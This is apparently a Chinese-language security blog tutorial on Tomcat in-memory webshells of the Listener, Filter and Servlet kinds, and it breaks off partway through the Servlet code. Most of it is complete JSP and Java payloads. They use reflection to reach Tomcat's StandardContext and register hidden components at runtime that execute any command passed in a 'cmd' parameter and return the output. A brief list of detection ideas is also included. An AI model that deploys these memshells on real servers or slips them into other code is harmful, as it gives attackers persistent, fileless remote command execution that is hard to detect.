文章目錄
-
- Tomcat記憶體馬
-
- JavaWeb 基本流程
- Listener型記憶體馬
-
- 惡意Listener監聽器
- 動态注冊Listener流程
- 構造Listener記憶體馬
-
- 編寫惡意Listener監聽器
- 獲得StandardContext對象
- 動态注冊Listener
- Listener記憶體馬完整代碼
- Filter記憶體馬
-
- 基本原理
- 惡意Filter過濾器
- 動态注冊Filter流程
- 建構Filter記憶體馬
-
- 編寫惡意Filter過濾器
- 獲得StandardContext對象
- 構造ApplicationFilterConfig
- 構造惡意FilterMap
- 動态注冊Filter記憶體馬
- Filter記憶體馬完整代碼
- Tomcat各版本對Filter記憶體馬支援
- Filter記憶體馬檢測思路
- Servlet記憶體馬
-
- 惡意Servlet
- 動态注冊Servlet流程
- 構造Servlet記憶體馬
-
- 編寫惡意`Servlet`類
- 獲得StandardContext對象
- 建立Wrapper
- 設定Servlet屬性
- 動态注冊Servlet
- Servlet記憶體馬完整代碼
- 參考連結
Tomcat記憶體馬
JavaWeb 基本流程
與php記憶體馬不同的是,Java記憶體馬并不是死循環建立檔案的笨辦法,但很類似,首先我們先來了解一下JavaWeb的基本元件。通常運作Java的web容器是tomcat,這裡以tomcat為例,用戶端與伺服器(tomcat)互動流程如圖所示:

用戶端發起的web請求會依次經過Listener、Filter、Servlet三個元件,我們隻要在這個請求中做手腳,在記憶體中修改已有的元件或者動态注冊一個新的元件,插入惡意的shellcode,就可以達到我們的目的。動态注冊技術的實作有賴于官方對Servlet3.0的更新,Servlet在3.0版本之後能夠支援動态注冊元件。而Tomcat直到7.x才支援Servlet3.0,是以通過動态注冊添加記憶體馬的方式适合Tomcat7.x以上版本。
按照shellcode的具體位置,就有
- listener記憶體馬
- filter記憶體馬
- Servlet記憶體馬
- 等等
Listener型記憶體馬
listenre顧名思義,監聽某一事件的發生,狀态改變等,監聽器可以監聽資源的b變化,簡單說就是在
application
,
session
,
request
三個對象建立、銷毀或者往其中添加修改删除屬性時自動執行代碼的功能元件。
請求網站的時候,程式會先執行listener監聽器的内容,tomcat三大元件執行順序:Listener->Filter->Servlet。Listerner的優先級是相對比較高的,是以可以利用Listener元件注冊記憶體馬。Listener類型包括一下三種:
- ServletContextListener:伺服器啟動和終止時觸發
- HttpSessionListener:有關Session操作時觸發
- ServletRequestListener:通路服務時觸發
最适合做記憶體馬的當然是SercletRequestListener,隻要通路服務或網絡請求,都會觸發監聽器,進而執行
ServletRequestListener#requestInitialized()
,接下來,我們在伺服器後端寫一個惡意監聽器。
惡意Listener監聽器
// src/main/java/Listener_memshell.java
package example.demo;
import jdk.nashorn.internal.ir.RuntimeNode;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
@WebListener
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 擷取request請求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 擷取response請求
// 擷取參數
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 獲得response響應
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();
// 執行指令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被執行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){
}
}
通路任意路由都可觸發指令執行。
當然,這是我們直接在伺服器後端生成的Listener,在實際利用中我們不可能直接在伺服器上添加Listener,大多數情況,我們都是先通過檔案上傳等方式獲得任意代碼執行的權限,之後通過執行代碼的形式向伺服器中添加Servlet,接下來我們詳細介紹一下如何通過任意代碼執行向伺服器中植入Listener記憶體馬。
動态注冊Listener流程
在實際生活中,我們不可能直接将惡意Listener類部署到伺服器上,是以我們需要找到伺服器添加Listener的具體過程,手動調用添加Listener,進而注入記憶體馬。在
requestInitialized()
處下斷點,檢視其調用棧。
通過調用連可以發現,Tomcat在
StandardContext#fireRequestInitEvent
處調用了我們的惡意Listener。
而惡意Listener存儲在instances,由
StandardContext#getApplicationEventListeners
擷取,繼續跟進
StandardContext#getApplicationEventListeners
。
getApplicationEventListeners
調用
applicationEventListenersList.toArray()
,而
applicationEventListenersList
是定義在
StandardContext
的私有數組,是以我們的目标就變成了如何在
applicationEventListenersList
數組中添加我們的惡意Listener。
繼續向下尋找,我們會找到
StandardContext#addApplicationEventListener
方法,注釋表明該方法用于添加一個監聽器,由此可知,我們隻需要獲得一個
StandardContext
對象,然後調用
addApplicationEventListener
即可添加我們的惡意Listener。
現在,我們可以直到動态注冊Listener記憶體馬基本步驟了:
- 1.編寫惡意Listener監聽器。
- 2.擷取StandardContext。
- 3.動态注冊惡意Listener監聽器。
構造Listener記憶體馬
編寫惡意Listener監聽器
<%!
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 擷取request請求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 擷取參數
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 獲得response響應
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();
// 執行指令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被執行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){
}
}
%>
獲得StandardContext對象
在
StandardHostValve#invoke
中,可以看到其通過request對象來擷取
StandardContext
類,我們可以模仿其擷取方法擷取
StandardContext
對象。
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
此外,還有一些其他方法擷取
StandardContext
對象。
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
動态注冊Listener
// 添加惡意Listener
Listener_memshell listener_memshell = new Listener_memshell();
context.addApplicationEventListener(listener_memshell);
Listener記憶體馬完整代碼
根據上述三個步驟建構的payload如下所示。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Listener_memshell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
// 擷取request請求
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
// 擷取參數
String cmd = req.getParameter("cmd");
if(cmd != null){
try{
// 獲得response響應
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
Response response = (Response) request.getResponse();
// 執行指令
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("Listener_memshell 被執行\n");
int len;
while ((len = bins.read()) != -1) {
response.getWriter().write(len);
}
} catch (IOException e){
e.printStackTrace();
} catch (NullPointerException n){
n.printStackTrace();
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre){
}
}
%>
<%
// 獲得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// 添加惡意Listener
Listener_memshell listener_memshell = new Listener_memshell();
context.addApplicationEventListener(listener_memshell);
%>
Filter記憶體馬
基本原理
filter也稱之為過濾器,過濾器實際上就是對web資源進行攔截,做一些過濾,權限鑒别等處理後再交給下一個過濾器或Servlet處理,通常都是用來攔截request進行處理的,也可以對傳回的response進行攔截處理。其工作原理是,當web.xml注冊了一個Filter來對某個Servlet 程式進行攔截處理時該 Filter 可以對Servlet 容器發送給 Servlet 程式的請求和 Servlet 程式回送給 Servlet 容器的響應進行攔截,可以決定是否将請求繼續傳遞給 Servlet 程式,以及對請求和相應資訊進行修改。filter型記憶體馬是将指令執行的檔案通過動态注冊成一個惡意的filter,這個filter沒有落地檔案并可以讓用戶端發來的請求通過它來做指令執行。
**request:**用來封裝請求資料的對象,擷取請求資料。
- 浏覽器會發送HTTP請求到JavaWeb伺服器;
- 背景伺服器會對HTTP中的資料解析并存入request對象中;
- 後續對請求的讀取等操作,對将針對request對象進行操作
**response:**用來封裝響應資料的對象,設定響應資料。
- 在HTTP處理結束後,業務處理的結果會存儲到response對象中;
- 背景伺服器通過讀取response對象,重新拼接為HTTP響應資料,發送給使用者。
接下來,我們介紹一下Filter記憶體馬建構過程。與Listener記憶體馬分析流程類似,我們先建構一個惡意的Filter過濾器,然後分析其加載過程,進而模拟加載Filter加載惡意Fiter記憶體馬。
惡意Filter過濾器
// src/main/java/Filter_memshell.java
package example.demo;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
@WebFilter(filterName = "Filter_memshell",
urlPatterns = "/Login"
)
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "調用 Filter_mem";
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 執行指令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被執行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
}
// 放行請求
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
通路
/Login
即刻觸發指令執行。
動态注冊Filter流程
同樣的,在
Filter_memshell#doFilter
下斷點,檢視調用棧情況。
可以看到在
ApplicationFilterChain#internalDoFilter
方法中,調用了
filter.doFilter
,filter變量存儲着我們的惡意Listener類,繼續檢視
filter
如何生成的。
可以看到
filter
是由
filterConfig.getFilter
傳回的,而filterConfig是filters數組元素,很明顯
ApplicationFilterChain#filters
數組存儲的就是所有
FilterConfig
的地方。
同時我們也可以發現
ApplicationFilterChain#addFilter
,熟悉的感覺又來了,Listener也是這樣的,我們隻需要找一個
ApplicationFilterChain
對象就行,Tomcat代碼風格果然類似。
繼續傳回上一層,在
StandardWrapperValue#invoke
中發現了
filterChain.doFilter
調用,而
filterChain
對象則是來自于
ApplicationFilterFactory.createFilterChain
。
跟進
ApplicationFilterFactory#createFilterChain
方法,發現
filterChain
首先通過
new ApplicationFilterChain()
建立一個空的
filterChain
,之後擷取
StandardContext#FilterMaps
,
FilterMaps
對象存儲的是對象中存儲的是各Filter的名稱路徑等資訊,是以,我們需要構造一個惡意的
FilterMap
對象。最終我們可以看到
StandardContext#FilterMaps
是由
StandardContext#addFilterMapBefore
和
StandardContext#addFilterMap
寫入的,但是吧
StandardContext#addFilterMapBefore
是頭插入方式,即插入的Filter排在循序表前部,更容易被周遊到,是以一般都選擇
StandardContext#addFilterMapBefore
進行插入。
最後周遊
filterMaps
将符合條件的使用addFilter将
filterConfig
添加至鍊上,而filterConfig是存儲在context中的,是以我們還要構造ApplicationFilterConfig對象。
現在整個流程開始明朗了起來,動态注冊Filter流程如下:
- 1.編寫惡意Filter過濾器
- 2.獲得StandardContex對象
- 3.構造ApplicationFilterConfig
- 4.構造惡意FilterMap
建構Filter記憶體馬
編寫惡意Filter過濾器
<%!
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "調用 Filter_mem";
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 執行指令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被執行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
}
// 放行請求
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
%>
獲得StandardContext對象
StandardContext對象主要用來管理Web應用的一些全局資源,如Session、Cookie、Servlet等。是以我們有很多方法來擷取StandardContext對象。
擷取StandardContext實在是有多種方法(包括Listener記憶體馬擷取StandardContext),以後可能會統一整理一下,這裡列舉一二。
方法一
Tomcat在啟動時會為每個Context都建立個ServletContext對象,來表示一個Context,進而可以将ServletContext轉化為StandardContext。
//擷取ApplicationContextFacade類
ServletContext servletContext = request.getSession().getServletContext();
//反射擷取ApplicationContextFacade類屬性context為ApplicationContext類
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射擷取ApplicationContext類屬性context為StandardContext類
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
方法二
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
方法三
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
此方法在Tomcat 8 9是可用的,但是由于高版本tomcat把
getResouces
傳回值弄成null了,就沒法用了,可以使用反射擷取Resources,下面的代碼懶得測試了,遇到再說。
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getField(webappClassLoaderBase, "resources");
StandardContext standardContext = (StandardContext) resources.getContext();
方法四
// 從 request 的 ServletContext 對象中循環判斷擷取 Tomcat StandardContext 對象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
構造ApplicationFilterConfig
檢視ApplicationFilterConfig的構造函數,發現除了需要context之外,還需要FilterDef對象,emmmm。
再次檢視
FilterDef
對象,可以看到
FilterDef
對象中
filter
、
filterClass
、
filterName
屬性,分别對應web.xml中的filter标簽。
FilterDef
的作用主要為描述Filter名字與Filter 執行個體的關系。同時後面調用
context.FilterMap
的時候會校驗
FilterDef
,是以我們需要先設定
FilterDef
。
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>
此外在
StandardContext
中發現了
addFilterDef
方法,獲得
StandardContext
看來确實必不可少。
建立FilterDef對象
// 建立FilterDef對象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef對象
standardContext.addFilterDef(filterDef);
建立ApplicationFIlterConfig對象
// 建立 ApplicationFilterConfig 對象
Constructor <?> [] constructor = ApplicationFilterConfig.class.getDeclaredConstructors();
constructor[0].setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor[0].newInstance(standardContext,filterDef);
構造惡意FilterMap
filterMaps
中以array的形式存放各filter的路徑映射資訊,其對應的是web.xml中的
<filter-mapping>
标簽。
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
// 建立filterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 調用standardContext#addFilterMapBefore添加FilterMap對象
standardContext.addFilterMapBefore(filterMap);
// // 調用FilterMaps#addBefore添加FilterMap對象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);
// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);
動态注冊Filter記憶體馬
// 将filterConfig添加至filterConfigs數組
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 将filterConfig添加至filterConfigs數組
filterConfigs.put(filterName,filterConfig);
Filter記憶體馬完整代碼
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterChain" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="example.demo.Filter_memshell" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.webresources.StandardRoot" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Filter_memshell implements Filter {
private String message;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
message = "調用 Filter_mem";
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter printWriter = response.getWriter();
// 執行指令
if(cmd != null) {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
response.setContentType("text/html;charset=UTF-8");
printWriter.write("Filter_memshell 被執行");
int len;
while ((len = bins.read()) != -1) {
printWriter.write(len);
}
return;
}
// 放行請求
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
%>
<%
try {
String filterName = "filter_memshell";
// 擷取ServletContext
ServletContext servletContext = request.getServletContext();
// 如果存在此filterName的Filter,則不在重複添加
if (servletContext.getFilterRegistration(filterName) == null){
// 擷取StandardContext方法一
// Field reqF = request.getClass().getDeclaredField("request");
// reqF.setAccessible(true);
// Request req = (Request) reqF.get(request);
// StandardContext standardContext = (StandardContext) req.getContext();
// 擷取StandardContext方法二
// 擷取ApplicationContextFacade類
// ServletContext servletContext = request.getSession().getServletContext();
// // 反射擷取ApplicationContextFacade類屬性context為ApplicationContext類
// Field appContextField = servletContext.getClass().getDeclaredField("context");
// appContextField.setAccessible(true);
// ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// // 反射擷取ApplicationContext類屬性context為StandardContext類
// Field standardContextField = applicationContext.getClass().getDeclaredField("context");
// standardContextField.setAccessible(true);
// StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 擷取StandardContext方法三
// WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
// 擷取StandardContext方法四
// 從 request 的 ServletContext 對象中循環判斷擷取 Tomcat StandardContext 對象
StandardContext standardContext = null;
while (standardContext == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
}
}
// 建立FilterDef對象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef對象
standardContext.addFilterDef(filterDef);
// 建立FilterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 調用standardContext#addFilterMapBefore添加FilterMap對象
standardContext.addFilterMapBefore(filterMap);
// // 調用FilterMaps#addBefore添加FilterMap對象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);
//
// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);
// 獲得filterConfigs數組
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 建立 ApplicationFilterConfig 對象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 将filterConfig添加至filterConfigs數組
filterConfigs.put(filterName,filterConfig);
response.getWriter().println("Filter記憶體馬添加成功");
}
} catch (Exception e){
response.getWriter().println(e.getMessage());
}
%>
在
doFilter
中(代碼第42行)有一個return,這是為了防止通路時出現404報錯,由于Servlet沒有這個路由網頁,是以後端傳回404,但此時doFilter是已經成功執行指令的,為了使其回顯出來,是以添加了return,使得請求不通過Servlet直接傳回。
Tomcat各版本對Filter記憶體馬支援
首先之前構造的Filter型記憶體馬是指支援Tomcat7以上,原因是因為
javax.servlet.DispatcherType
類是servlet 3 以後引入,而 Tomcat 7以上才支援 Servlet 3。
且在Tomcat7與8中 FilterDef 和 FilterMap 這兩個類所屬的包名不一樣
tomcat 7:
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
Filter記憶體馬檢測思路
- 檢測帶有特殊函數的filter名字
- filter優先級,filter記憶體馬的優先級一般為最高
- 檢視web.xml中有沒有可以的filter配置
- 檢查特殊的classloader
- 檢測classloader路徑下沒有class檔案
- 檢測Filter中的doFilter方法是否有惡意代碼
- 如果是代碼執⾏漏洞,排查中間件的 error.log,檢視是否有可疑的報錯,判斷注⼊時間和⽅法
Servlet記憶體馬
servlet是一種運作在伺服器端的java應用程式,主要功能在于互動式地浏覽和修改資料,生成動态Web内容。基本流程為:
- 用戶端發送請求至伺服器端;
- 伺服器将請求資訊發送至Servlet;
- Servlet生成響應資訊并将其傳給伺服器。響應内容動态生成,通常取決于用戶端的請求;
- 服務将響應傳回給用戶端。
惡意Servlet
在進行Servlet編寫之前,我們先對手動生成一個惡意的Servlet,使用注解的方式手動在伺服器背景添加Servlet。
// src/main/java/example/demo/Servlet_memshell.jsp
package example.demo;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "Servlet_memshell",
urlPatterns = "/servlet"
)
public class Servlet_memshell extends HttpServlet {
private String message;
public void init() {
message = "Servlet 指令執行輸出:\n";
}
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
while ((len = bins.read()) != -1) {
resp.getWriter().write(len);
}
}catch (Exception e){
resp.getWriter().println(e.getMessage());
}
}
}
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
通路
http://localhost:8080/servlet?cmd=whoami
,指令執行成功。此時我們獲得了一個可以執行指令的Servlet。
動态注冊Servlet流程
我們使用Listener監聽servlet來了解servlet在tomcat中的建立過程,在
contextInitialized
處下斷點。
// src/main/java/example/demo/Listener_servlet
package example.demo;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;
@WebListener
public class Listener_servlet implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
System.out.println("ServletContext對象建立了!");
}
@Override
public void contextDestroyed(ServletContextEvent sce) {
System.out.println("ServletContext對象銷毀了!");
}
}
進入
StandardContext#startInternal
可以發現調用
StandardContext#loadOnStartup
加載啟動servlet。
跟進
StandardContext#loadOnStartup
,發現
loadOnStartup
中周遊傳入
children
參數,并判斷
loadOnStartup
,如果>=0,則放
list
中,并使用
wrapper.load()
進行加載。
children
參數内容就是tomcat需要建立的servlet,這裡我們可以看到tomcat自己建立的
default
和
jsp
servlet以及,我們自己建立的
Servlet_memshell
servlet,
Login
也是我們自己建立的,對Servlet記憶體馬沒有影響,這裡可忽略
loadOnStartup
實際上就是Tomcat Servlet的懶加載機制,可以通過
loadOnStartup
屬性值來設定每個Servlet的啟動順序0,正數的值越小,啟動該servlet的優先級越高,預設值為-1,此時隻有當Servlet被調用時才加載到記憶體中,
loadOnStartup
在
web.xml
中由
<load-on-startup>1</load-on-startup>
标簽指定。由于我們要注入記憶體馬,且沒有配置xml不會在應用啟動時就加載這個servlet,是以需要把優先級調至1,讓自己寫的servlet直接被加載。
繼續查找children是從哪裡儲存的,既然能夠生成我們所設定的servlet,那麼一定讀取了
web.xml
。
經過查找在
StandContext#startInternal
中,調用
fireLifecycleEvent
進行配置。
在
ContextConfig#configureStart
中發現調用了
webConfig
配置。
最終在
ContextConfig#webConfig
中發現
contextWebXml
變量,可以看到其中存在
web.xml
的實體路徑。
繼續向下執行,發現除了讀取
web.xml
外,同時合并了注解類型的配置,以及tomcat預設配置,最終存儲在
webXml
變量中,我們可以看到
Login
是在
web.xml
中進行配置的,
Servlet_menshell
是通過注解配置的,而
default
和
jsp
是tomcat預設配置的,這就解釋了tomcat為什麼能夠解析jsp代碼,因為其中預設配置了
jsp
的servlet。
最後進入
ContextConfig#configureContext
應用配置,在
configureContext
我們能夠發現,應用servlet的具體步驟,同時在此處我們也可以了解到listener和filter元件應用的步驟。
public class ContextConfig implements LifecycleListener {
...
private void configureContext(WebXml webxml) {
...
for (ServletDef servlet : webxml.getServlets().values()) {
// 對每個Servlet建立wrapper
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored
// 設定LoadOnStartup屬性
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
...
// 設定ServletName屬性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
// 設定ServletClass屬性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
// 将包裝好的StandWrapper添加進ContainerBase的children屬性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//添加路徑映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
}
最後通過
addServletMappingDecoded()
方法添加Servlet對應的url映射。
構造Servlet記憶體馬
通過對動态注冊Servlet流程進行分析我們可以得到動态注冊步驟步驟:
- 1.編寫惡意
類Servlet
- 2.獲得
對象StandardContext
- 3.通過
建立StandardContext.createWrapper()
對象。StandardWrapper
- 4.設定
對象的StandardWrapper
屬性值。loadOnStartup
- 5.設定
對象的StandardWrapper
屬性值。ServletName
- 6.設定
對象的StandardWrapper
屬性值。ServletClass
- 7.将
對象添加進StandardWrapper
對象的StandardContext
屬性中。children
- 8.通過
添加對應的路徑映射。StandardContext.addServletMappingDecoded()
編寫惡意 Servlet
類
Servlet
<%!
public class Servlet_memshell extends HttpServlet {
private String message;
public void init() {
message = "Servlet 指令執行輸出:\n";
}
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bins = new BufferedInputStream(ins);
resp.setContentType("text/html;charset=UTF-8");
resp.getWriter().write(message);
int len;
